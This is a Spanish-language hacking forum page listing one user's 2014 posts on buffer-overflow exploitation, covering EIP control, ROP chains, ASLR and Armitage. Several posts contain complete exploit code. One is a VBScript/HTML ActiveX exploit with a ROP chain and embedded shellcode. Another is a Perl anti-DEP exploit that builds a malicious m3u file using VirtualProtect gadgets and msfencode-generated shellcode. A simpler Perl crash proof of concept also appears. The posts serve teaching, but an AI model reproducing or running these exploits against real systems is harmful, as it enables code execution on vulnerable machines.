elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 ... 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 ... 313
601  Seguridad Informática / Seguridad / Re: Web donde mostraba vulnerabilidades y cómo explotarlas en: 5 Marzo 2014, 22:04 pm
Buenas, era eso a lo que me refería, gracias!

Una cosa más, por qué hay gente/empresas que aún habiendo versiones de apache nuevas, siguen utilizando viejas versiones? No se exponen a vulnerabilidades, o es que esas versiones son totalmente seguras?

Salu2

Mal hábito, aunque hay casos en donde se intenta ocultar la versión original del servidor, enviando etiquetas falsas para despistar a hackers, o en otra ocasiones la versión tiene parches, saludos.
602  Seguridad Informática / Bugs y Exploits / Re: Error en Buffer Overflow en: 5 Marzo 2014, 06:47 am
Creo que te estás enredando y confundiendo tu mismo, debes ir paso a paso y estas haciendo preguntas que con tu nivel de conocimiento, tanto una respuesta bien detallada te llevara a confundirte más y generará más preguntas, un círculo vicioso recursivo.

Yo no soy partidiario de que las cosas son así por que sí, pero intenta de buscar otro plan estratégico estás mirando desde abajo hacia arriba y te está cayendo mucho conocimiento desde el cielo, el cual no es necesario en este momento y solo te llevará a sentirte una hormiga que no sabe absolutamente nada.



Debes entender lo siguiente, un desbordamiento de pila consiste en modificar el flujo normal de un programa a través de un código mal formado (para el programa) capas de modificar el Instruction Counter/Program Counter en Intel este valor lo posee un registro que se llama EIP. Para modificar EIP debes hacer que el programa recupere el valor de una CALL, ya que como te comenté cuando se llama a una CALL se debe dejar en la pila la dirección de retorno, o si no el programa nunca sabrá donde retornar una vez ejecutada las instrucciones de la call.


Citar
instruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a continuar.

Buffer Overflow

Citar
instruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a "AAAAAAAA".

Es una metáfora y debes tenerlo así mentalizado, no es el momento que aprendas los alineamientos, los marco de pilas, como se reserva espacio en el stack para trabajar con variables locales, etc. NO!

Una vez que lograste modificar el PC, requieres redireccionar el programa hacia tu payload o código de carga que se encargará de hacer lo que tu desees, ¿en donde está?, en la pila, para ello debes utilizar instrucciones que se encarguen de direccionar el flujo hacia la pila, y aquí no es siempre JMP ESP, tal como comenta soez la limitación del salto hacia el stack es TU IMAGINACIÓN, no debes seguir al pie de la letra el tutorial, si no entiendes mucho está bien pero hay variables, partiendo por las direcciones de los SO Windows, por ello el tutorial es una referencia a como actuar.

Código:
JMP ESP
POP r32 / RETN
MOV ESP,r32 (r32 valor controlable y generado de forma dinámica)


Un poco de instrucciones. En Windows las direcciones de memoria varían de acuerdo a la versión del sistema operativo, esto provoca que si tomas una dirección de una API/función, lo más probable es que esta no esté. Aquí viene lo que se denomina instrucciones seguras o confiables y las no confiables.

Si ignoramos todo mecanismo de protección, te recomiendo que utilices direcciones del programa, pero ¿cómo lo harás?, sencillo buscas las dll que hayan sido cargadas por el programa, inclusive el mismo programa podría ser utilizado, aunque no es muy recomendable a causa de que generalmente el ImageBase (dirección base de las dirección) contiene bytes nulos 0040xxxx por lo cual si estás explotando un buffer de string, estos se terminan con byte nulos, podría utilizarse si fuese el último parámetro en desbordar. Ahora estas direcciones no cambiarán ya que son direcciones del programa la única manera que cambie es que haya una actualización de esta de forma extrema, es decir cambiar casi todos sus módulos, etc, cosa que para ello deberías crear un nuevo explot, ahora que sabes que dirección es confiable y que no ya puedes usar un criterio. Ahora que JMP ESP no cambia, eso no se a que te refieres, las direcciones apuntan a instrucciones o buffer de datos, si estas direcciones son confiables, siempre deberían apuntar al mismo conjunto de instrucciones o buffer, por ello usar siempre direcciones del programa.

Ahora hablemos de ASLR Address space layout randomization, esto modifica el Image Base siempre cuando el módulo lo permita si mal no me equivoco es una bandera 0x40 activada, que se activa con el compilador visual studio con un parámetro, no recuerdo exactamente, esto cada vez que se reinicie el equipo el Image Base se modificará por lo cual no podrás tener direcciones confiables, para ello como solución es trabajar con módulos sin ASLR, puedes usar plugins en el depurar que se encargan de listar las protecciones de compilación y enlace que poseen. Si todos los módulos están protegidos por ASLR, podrías basarte en la predicción del heap o montículo, esta técnica se llama heap spraying pero vez? no puedes aprender todo este en un simple post, debes leer y plantear tus dudas putuales del capítulo y toma sorbos de apoco quizás te termines quemando.

Si tienes nuevas dudas, por favor hace un nuevo tema con la pregunta específica, este post solamente tiene un surtido de dudas que dificultan al lector.

Duda nueva puntual, post nuevo puntual con la pregunta.

Yo desisto de ayudarte más si no sigues las reglas que te he planteado



a por cierto si no sabes ASM, no puedes aprender sobre exploit, sin tampoco decir que debes aprender Ingeniería inversa,ya que sin ella no podrás encontrar los fallos del programa y ataque remoto siempre se podrá si el puerto está abierto y es vulnerable, ahora el payload puede que sea detectado, esos sistemas de protección se llaman Antivirus y firewall, ahora pueden haber otros mecanismos que deben basarse en el análisis o comportamiento de un programa, pero desconozco sobre ellos.

Si deseas aprender ensamblador hice un resumen hace unos años:
http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf

Saludos
603  Programación / Scripting / Re: Separar un comando en múltiples líneas en VBSCRIPT en: 5 Marzo 2014, 04:14 am
Siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii :D muchas gracias me ahorraste de tener un código de tres metros de ancho, te debo una, saludos :D
604  Programación / Scripting / Separar un comando en múltiples líneas en VBSCRIPT en: 4 Marzo 2014, 21:58 pm
Hola a todos tengo el siguiente código pero no logro hacer que quede en líneas diferentes, a ver si me guían, saludos (es exactamente en payload):

Código
  1. <html>
  2. <object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target'></object>
  3. <script language='vbscript'>
  4. junk1 = String(72, "A")
  5. junk2 = String(3184, "B")
  6. junk3 = String(25000, "C")
  7.  
  8. nop1 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  9. nop2 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  10. nop3 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  11. nop4 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  12. nop5 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  13. nop6 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  14. nop7 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
  15. nop = nop1 + nop2 + nop3 + nop4 + nop5 + nop6 + nop7
  16.  
  17. rop1 = unescape("%33%b6%44%06") ' SSHelper.dll | POP EBP / RETN
  18. rop2 = unescape("%10%c0%1f%06") ' SSHelper.dll
  19. rop3 = unescape("%65%b9%47%06") ' SSHelper.dll | MOV EDX,EBP / POP EDI / POP ESI / POP EBP / POP EBX / POP ECX / RETN
  20. rop4 = unescape("%51%a5%45%06") ' SSHelper.dll | CALL EAX
  21. rop5 = unescape("%ff%ff%ff%ff") ' 0xFFFFFFFF
  22. rop6 = unescape("%6c%c4%24%23") ' 0x2324C46C
  23. rop7 = unescape("%49%cc%ba%f9") ' 0xF9BACC49
  24. rop8 = unescape("%aa%aa%aa%aa") ' 0xAAAAAAAA
  25. rop9 = unescape("%6b%28%44%06") ' SSHelper.dll | XCHG EAX,EBP / RETN
  26. rop10 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
  27. rop11 = unescape("%6b%28%44%06") ' SSHelper.dll | XCHG EAX,EBP / RETN
  28. rop12 = unescape("%0e%37%45%06") ' SSHelper.dll | MOV EAX,0x64536B7 / RETN
  29. rop13 = unescape("%d9%c4%47%06") ' SSHelper.dll | ADD EBX,EAX / PUSH 0x1 / POP EAX / RETN
  30. rop14 = unescape("%05%67%47%06") ' SSHelper.dll | POP EAX / RETN
  31. rop15 = unescape("%b0%c3%24%23") ' 0x2324C3B0
  32. rop16 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
  33. rop17 = unescape("%71%03%4a%06") ' SSHelper.dll | PUSHAD / ADD AL,0x0 / RETN
  34. ROPgadgets = nop + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8 + rop9 + rop10 + rop11 + rop12 + rop13 + rop14 + rop15 + rop16 + rop17
  35.  
  36. SEH = unescape("%13%16%47%06") ' SSHelper.dll | ADD ESP,0x46C
  37.  
  38. payload =unescape(
  39. "%fc%e8%89%00%00%00%60%89%e5%31%d2%64%8b%52" & _
  40. "%30%8b%52%0c%8b%52%14%8b%72%28%0f%b7%4a%26" & _
  41. "%31%ff%31%c0%ac%3c%61%7c%02%2c%20%c1%cf%0d" & _
  42. "%01%c7%e2%f0%52%57%8b%52%10%8b%42%3c%01%d0" & _
  43. "%8b%40%78%85%c0%74%4a%01%d0%50%8b%48%18%8b" & _
  44. "%58%20%01%d3%e3%3c%49%8b%34%8b%01%d6%31%ff" & _
  45. "%31%c0%ac%c1%cf%0d%01%c7%38%e0%75%f4%03%7d" & _
  46. "%f8%3b%7d%24%75%e2%58%8b%58%24%01%d3%66%8b" & _
  47. "%0c%4b%8b%58%1c%01%d3%8b%04%8b%01%d0%89%44" & _
  48. "%24%24%5b%5b%61%59%5a%51%ff%e0%58%5f%5a%8b" & _
  49. "%12%eb%86%5d%6a%01%8d%85%b9%00%00%00%50%68" & _
  50. "%31%8b%6f%87%ff%d5%bb%f0%b5%a2%56%68%a6%95" & _
  51. "%bd%9d%ff%d5%3c%06%7c%0a%80%fb%e0%75%05%bb" & _
  52. "%47%13%72%6f%6a%00%53%ff%d5%63%61%6c%63%2e" & _
  53. "%65%78%65%00")
  54.  
  55. arg1 = 1
  56. arg2 = 1
  57. arg3 = junk1 + ROPgadgets + junk2 + SEH + payload + junk3
  58. arg4 = "defaultV"
  59. arg5 = "defaultV"
  60. target.SetRegString arg1, arg2, arg3, arg4, arg5
  61. </script>
  62. </html>
605  Seguridad Informática / Bugs y Exploits / Re: Error en Buffer Overflow en: 4 Marzo 2014, 02:59 am
Si mal no me equivoco el compilador realiza un proceso llamado re-alineamiento, en donde se alinean los bytes en 4, no recuerdo muy bien pero en palabras simples el número de A para generar el desbordamiento no será uno más que el el tamaño del buffer establecido en el código de fuente.

No creo que hayas terminado el tutorial de corelan son 400 páginas, imposible, quizás el nº 1 pero todas las demás no, recuerda que lo que viene es de mucha utilidad, ya que te dejaré con intriga, pero te comento que ese exploit servirá puntualmente para XP, debes aprender sobre las protecciones y seguir adelante, saludos.

Aquí hice uno anti-dep aun así funciona en un sistema específico ya que utiliza direcciones de módulos del sistema, y aun así es complejo, es para el mismo programa que pusiste, saludos:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Author           = UND3R
  4.  
  5. my $file = "exploit.m3u";
  6. my $junk = "\x41" x 26061;
  7. my $align = "\x41" x 4;
  8. my $eip = pack('V',0x7729f0a5); # urlmon.dll | RETN
  9. my $rop1 = pack('V',0x58c3f678); # COMCTL32.dll | MOV ESI,ESP / RETN
  10. my $rop2 = pack('V',0x77c0db6b); # msvcrt.dll | MOV EAX,ESI / RETN
  11. my $rop3 = pack('V',0x77c21e53); # msvcrt.dll | ADD ESP,0x1C / RETN
  12. # VirtualProtect(
  13. my $VirtualProtect = pack('V',0x7c801ad0);
  14. my $vaPayload = "AAAA";
  15. my $arg1 = "BBBB";
  16. my $arg2 = "CCCC";
  17. my $arg3 = "DDDD";
  18. my $arg4 = pack('V',0x10035010); # MSRMfilter03.dll
  19. # );
  20. my $rop4 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
  21. my $rop5 = pack('V',0x7Cbaa4cb); # SHELL32.dll | MOV EAX,ECX / RETN
  22. my $rop6 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
  23. my $rop7 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
  24. my $rop8 = pack('V',0x58c38371); # COMCTL32.dll | XCHG EAX,ESI / RETN
  25. my $rop9 = pack('V',0x77bef2c1); # msvcrt.dll | ADD EAX,0x08 / RETN
  26. my $rop10 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  27. my $rop11 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  28. my $rop12 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  29. my $rop13 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  30. my $rop14 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  31. my $rop15 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  32. my $rop16 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  33. my $rop17 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
  34. my $rop18 = pack('V',0x3bfffbdc); # 3BFFFBDC
  35. my $rop19 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
  36. my $rop20 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
  37. my $rop21 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
  38. my $rop22 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  39. my $rop23 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  40. my $rop24 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  41. my $rop25 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  42. my $rop26 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
  43. my $rop27 = pack('V',0x3bfffb54); # 3BFFFB54
  44. my $rop28 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
  45. my $rop29 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
  46. my $rop30 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
  47. my $rop31 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  48. my $rop32 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  49. my $rop33 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  50. my $rop34 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  51. my $rop35 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
  52. my $rop36 = pack('V',0x73d95858); # MFC42.DLL | PUSH EAX / POP ESP / POP EDI / POP ESI / RETN
  53.  
  54. my $ROPgadgets = $align . $rop1 . $rop2 . $rop3 . $VirtualProtect . $vaPayload . $arg1 . $arg2 .$arg3 . $arg4 . $align . $rop4 . $rop5 . $rop6 . $rop7 . $rop8 . $rop9 . $rop10 . $rop11 . $rop12 . $rop13 . $rop14 . $rop15 . $rop16 . $rop17 . $rop18 . $rop19 . $rop20 . $rop21 . $rop22 . $rop23 . $rop24 . $rop25 . $rop26 . $rop27 . $rop28 . $rop29 . $rop30 . $rop31 . $rop32 . $rop33 . $rop34 . $rop35 . $rop36;
  55.  
  56. my $nop = "\x90" x 40;
  57. my $payload =
  58. # msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t perl
  59. "\x89\xe0\xda\xc4\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" .
  60. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
  61. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
  62. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
  63. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
  64. "\x48\x4d\x59\x43\x30\x43\x30\x35\x50\x53\x50\x4c\x49\x5a" .
  65. "\x45\x30\x31\x38\x52\x45\x34\x4c\x4b\x51\x42\x50\x30\x4c" .
  66. "\x4b\x56\x32\x34\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x33" .
  67. "\x42\x31\x38\x44\x4f\x4e\x57\x31\x5a\x36\x46\x36\x51\x4b" .
  68. "\x4f\x56\x51\x4f\x30\x4e\x4c\x57\x4c\x53\x51\x43\x4c\x43" .
  69. "\x32\x36\x4c\x57\x50\x49\x51\x48\x4f\x44\x4d\x53\x31\x4f" .
  70. "\x37\x5a\x42\x4a\x50\x51\x42\x56\x37\x4c\x4b\x46\x32\x44" .
  71. "\x50\x4c\x4b\x47\x32\x37\x4c\x55\x51\x38\x50\x4c\x4b\x51" .
  72. "\x50\x54\x38\x4d\x55\x4f\x30\x53\x44\x50\x4a\x53\x31\x58" .
  73. "\x50\x56\x30\x4c\x4b\x50\x48\x35\x48\x4c\x4b\x36\x38\x37" .
  74. "\x50\x35\x51\x59\x43\x4d\x33\x37\x4c\x57\x39\x4c\x4b\x36" .
  75. "\x54\x4c\x4b\x33\x31\x38\x56\x36\x51\x4b\x4f\x46\x51\x49" .
  76. "\x50\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31\x48\x47\x56" .
  77. "\x58\x4b\x50\x33\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x57" .
  78. "\x4b\x33\x4d\x36\x44\x33\x45\x4d\x32\x30\x58\x4c\x4b\x36" .
  79. "\x38\x57\x54\x53\x31\x4e\x33\x53\x56\x4c\x4b\x54\x4c\x30" .
  80. "\x4b\x4c\x4b\x50\x58\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54" .
  81. "\x44\x4c\x4b\x55\x51\x58\x50\x4d\x59\x50\x44\x47\x54\x47" .
  82. "\x54\x51\x4b\x51\x4b\x45\x31\x51\x49\x30\x5a\x36\x31\x4b" .
  83. "\x4f\x4b\x50\x50\x58\x31\x4f\x51\x4a\x4c\x4b\x42\x32\x4a" .
  84. "\x4b\x4d\x56\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4c\x45\x4f" .
  85. "\x49\x53\x30\x55\x50\x35\x50\x56\x30\x43\x58\x36\x51\x4c" .
  86. "\x4b\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x48" .
  87. "\x35\x59\x32\x46\x36\x52\x48\x49\x36\x5a\x35\x4f\x4d\x4d" .
  88. "\x4d\x4b\x4f\x58\x55\x57\x4c\x34\x46\x53\x4c\x55\x5a\x4d" .
  89. "\x50\x4b\x4b\x4d\x30\x33\x45\x34\x45\x4f\x4b\x37\x37\x34" .
  90. "\x53\x54\x32\x42\x4f\x52\x4a\x43\x30\x46\x33\x4b\x4f\x38" .
  91. "\x55\x45\x33\x43\x51\x52\x4c\x42\x43\x56\x4e\x52\x45\x42" .
  92. "\x58\x52\x45\x55\x50\x41\x41";
  93.  
  94. my $exploit = $junk . $eip . $ROPgadgets . $nop . $payload;
  95.  
  96. open($file, ">$file");
  97. print $file $exploit;
  98. close($file);
  99.  
  100. print "Archivo " . $file . " creado correctamente.";
606  Foros Generales / Dudas Generales / Re: Quiero ser hacker y empezar desde 0. Alguien que me ayude a ser hacker? en: 3 Marzo 2014, 02:16 am
Yo quería ser astronauta entré a un foro le pedí ayuda a Neil Armstrong, y me dijo todo lo que tenía que hacer para ser un astronauta, no sé como el smf aguantó tantos  caracteres pero fue genial si yo pude tu también, saludos.


Enviado Desde Apolo11
607  Seguridad Informática / Bugs y Exploits / Re: Error en Buffer Overflow en: 2 Marzo 2014, 21:59 pm
Tienes muchas pero muchas creo que para que puedas solventarlas todas es mejor que leas los tutoriales de corelan, me imagino que sabes que están en español, si no es así:
http://ricardonarvaja.info/WEB/buscador.php
busca por corelan

creeme que en este tutorial te explica todo y el por qué que es lo más importante ya que sin ese por qué no podrás aplicar lo aprendido en otras aplicaciones.

En cuanto a EIP es sobre escrito debido a que nosotros estamos pulverizando el marco de pila, ya que acuérdate que cuando se realiza una CALL, El primer valor de la pila apunta al retorno de esta, lo cual después de que la call hace sus operaciones recupera tal valor para retornar:
push ebp
mov ebp,esp
...
..
...
leave (mov esp,ebp / pop ebp)
retn x (limpieza de la pila)

La idea es que en el punto de retornar como escribimos más allá del marco de pila controlaremos el flujo del programa, en si todo el detalle te lo dará el tutorial, el de Rojodos es un buen tutorial una buena idea pero no puedes compararlo a algo que tiene imágenes y son 12 tutoriales dando unas 400 páginas diría promedio, saludos y buena aventura.
608  Seguridad Informática / Bugs y Exploits / Re: Error en Buffer Overflow en: 2 Marzo 2014, 19:50 pm
Con este debería funcionar:
http://www.mediafire.com/download/rcf20dct9pntl3l/vuln1.exe

Como te comenté usa Dev-C++ ya que visual studio por defecto introduce muchos mecanismos de protección los cuales para comenzar no te los recomiendo, solo estás probando la idea verdad?

además agregar que eso de pasar los argumentos a través de OllyDbg no funcionará muy bien ya que acuérdate que al momento de introducir la shellcode o payload esta tendrá caracteres no imprimibles por lo cual quizás no reciba los argumentos que tu pensabas, te dejo mi código en Perl que genera el crash:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Author           = UND3R
  4.  
  5. my $file = "vuln1";
  6. my $junk = "\x41" x 76;
  7. my $eip = pack('V',0x7c951eed); # ntdll.dll | JMP ESP
  8. my $nop = "\x90" x 20;
  9. my $payload =
  10. "\x43" x 50;
  11.  
  12. my $exploit = $junk . $eip . $nop . $payload;
  13.  
  14. print "Enviando argumentos a " . $file . " ...\n";
  15. system($file, $exploit);
  16. if ( $? == -1 ) {
  17.  print "Error en el comando: $!\n";
  18. }else {
  19.  print "Argumento enviado correctamente.\n";
  20. }

Es la idea ya que el payload simplemente contiene letras C aquí debería ir la shellcode, de todas maneras se limita mucho el tamaño cuidado que si el tamaño es muy gran se cierra y no puedes explotar el fallo.

Saludos
609  Seguridad Informática / Bugs y Exploits / w32 SEH omelet shellcode v0.2 fixed by UND3R en: 1 Marzo 2014, 16:52 pm
Parece gran cosa, pero no hace mucho les comento:
- Re-leyendo los tutoriales de corelan siempre me molestó la parte de utilizar esta herramienta ya que presentaba algunos problemas, en donde corelan propuso como solución modificar el código asm el buscador de huevos (omelet_shellcode), el problema ocurre que esta modificación se debía hacer dependiendo de la cantidad de huevos por lo que se me ocurrió por así decir hacer un omelet_shellcode genérico y en base a la cantidad de huevos que se generarán con w32_SEH_omelet.py adaptará el código de salida.

pasos anteriores a la modificación:
1.- ensamblar a binario con nasm w32_SEH_omelet.asm
2.- ejecutar la secuencia
Código:
w32_SEH_omelet.py w32_SEH_omelet.bin payload.bin output.txt [egg size]
3.- de acuerdo a la cantidad de huevos generados modificar la constante egg_size ubicada dentro de w32_SEH_omelet.asm y volver al paso 1
4.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

pasos con el fixed:
1.-
Código:
w32_SEH_omelet.py w32_SEH_omelet.bin payload.bin output.txt [egg size]
2.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

No es gran cosa, pero nada mejor que no tener que estar ensamblando cada vez que estemos armando un omelet.

Descarga:
http://www.mediafire.com/download/q5c0gbi55x91cv2/w32+SEH+omelet+shellcode+v0.2+fixed+by+UND3R.rar
610  Seguridad Informática / Bugs y Exploits / Re: Uso del Armitage en: 1 Marzo 2014, 16:36 pm
Bueno no tiene que por qué ser obligatorio que armitage siempre te arroje un exploit funcional para que luego tu presiones un botón y seas hacker  >:D

Armitage utiliza los exploits de metasploit pero de forma discriminada de acuerdo al objetivo al cual lances el exploit, por lo cual si quieres probar armitage debes hacer lo siguiente:

- Conseguir un sesion (da igual si es meterpreter, reverse tpc, etc) bajo metasploit de un equipo que sea vulnerable, podrías instalar Windows XP SP2 sin ningún update, no me manejo mucho en la cronología de los exploit según el SO y su versión.

- Ya con la sesion meterpreter, ahora pruebas el poder de optimización de armitage, es decir la capacidad principal de armitage es que te da la posibilidad de tomar por ti la decisión de que exploit intentar lanzar.

Ahora si quieres un exploit 100% funcional, nada mejor que hacerlo tu mismo sin metasploit o armitage, luego si quieres lo pasas a metasploit, eso ya va en los gusto de cada uno.

Saludos
Páginas: 1 ... 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 ... 313
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines